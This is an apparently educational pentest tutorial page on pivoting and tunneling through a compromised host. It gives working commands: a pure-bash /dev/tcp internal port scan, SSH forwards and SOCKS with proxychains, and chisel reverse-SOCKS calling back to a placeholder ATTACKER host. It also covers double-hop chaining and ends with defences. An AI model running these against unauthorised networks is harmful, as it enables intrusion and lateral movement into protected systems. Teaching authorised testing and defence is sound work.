Skip to content
Pwnversity
NET-PIVOTadvanced · 5 min · upd. 2026-10

Pivoting and Tunneling

T1090T1572

You rarely compromise your final target directly. The norm is to take an exposed machine (DMZ, web server) and use it as a stepping stone to reach internal networks unreachable from outside. Pivoting is using a compromised host as a bridge into those networks, and tunnels are the mechanisms (port forwarding, SOCKS, VPN) that carry your traffic through it. Without pivoting, an internal pentest stops at the first machine.

The compromised host has access to networks you do not: another network interface, an internal subnet, or a firewall that lets it reach restricted zones. Pivoting reuses that host’s legitimate access to route your traffic. There are two basic forms: port forwarding (redirect a specific port) and a SOCKS proxy (route any tool through the pivot). Defence relies on a compromised host not being able to become a bridge to what is critical.

flowchart LR
    A[Attacker] -->|"tunnel / SOCKS proxy"| H["Compromised host (pivot)"]
    H -->|"legitimate access"| N["Non-routable internal network"]
    N --> N2["Second pivot (double hop)"]
    N2 --> C["Critical target"]

The first step is understanding what the compromised host can reach:

Ventana de terminal
ip a ; ip route # other interfaces and reachable subnets
arp -a ; cat /etc/hosts # known neighbours
# light scan of the internal network without uploading nmap, pure bash
for i in $(seq 1 254); do (timeout 1 bash -c "echo > /dev/tcp/10.10.10.$i/445") 2>/dev/null && echo "10.10.10.$i:445 open"; done # timeout: a filtered host would stall the loop

If you have SSH, almost everything is solved:

Ventana de terminal
# Local port forward: local port -> internal service via the pivot
ssh -L 8080:10.10.10.5:80 user@pivot # your localhost:8080 == internal:80
# Remote port forward: expose one of your ports on the pivot
ssh -R 9001:localhost:9001 user@pivot
# Dynamic (SOCKS proxy): route ANY tool into the internal network
ssh -D 1080 user@pivot # SOCKS on localhost:1080

Then, with proxychains, any tool exits through the SOCKS proxy:

Ventana de terminal
# in /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.5
proxychains nxc smb 10.10.10.0/24
  • chisel — HTTP server/client that creates a reverse SOCKS; widely used, requires uploading a binary to the pivot.
  • ligolo-ng — tunnel with a TUN interface; the internal network “appears” as a local interface, very convenient.
  • sshuttle — “VPN over SSH” (requires SSH access to the pivot); routes the internal subnet transparently.
  • socat / netcat — one-off port relays.
  • metasploit — route add plus socks_proxy (autoroute).
Ventana de terminal
# chisel: reverse SOCKS
# on the attacker:
chisel server -p 8000 --reverse
# on the pivot:
chisel client ATTACKER:8000 R:socks

ligolo-ng and sshuttle stand out for convenience: they route whole subnets without configuring proxychains for each tool.

Sometimes the target is two hops away: you compromise A (DMZ) → from A you reach B (internal) → from B you reach C (deeper internal). Tunnels are chained (ssh -J, nested chisel or ligolo) to reach ever deeper networks, reusing the previous host’s access at each hop.

  • Strict segmentation: a DMZ host should not reach the internal network; microsegmentation per workload.
  • Egress filtering: limit what outbound connections each host can make (stops reverse SOCKS and C2).
  • Detection: unusual outbound connections (chisel/ligolo to external IPs), tunneled traffic, a host scanning internally.
  • EDR/NDR that detects tunneling binaries and pivoting patterns; internal honeypots to flag lateral movement.
  • Enumerate which networks and interfaces the pivot reaches
  • Light scan of the internal network from the pivot
  • SSH port forward (local/remote) to an internal service
  • Dynamic SOCKS (ssh -D / chisel / ligolo) + proxychains
  • Route your tools into the internal network (nmap/nxc)
  • Chained pivoting if the target is several hops away
  • Blue: check whether segmentation and egress filtering limit the pivot
  • Document the internal subnets reached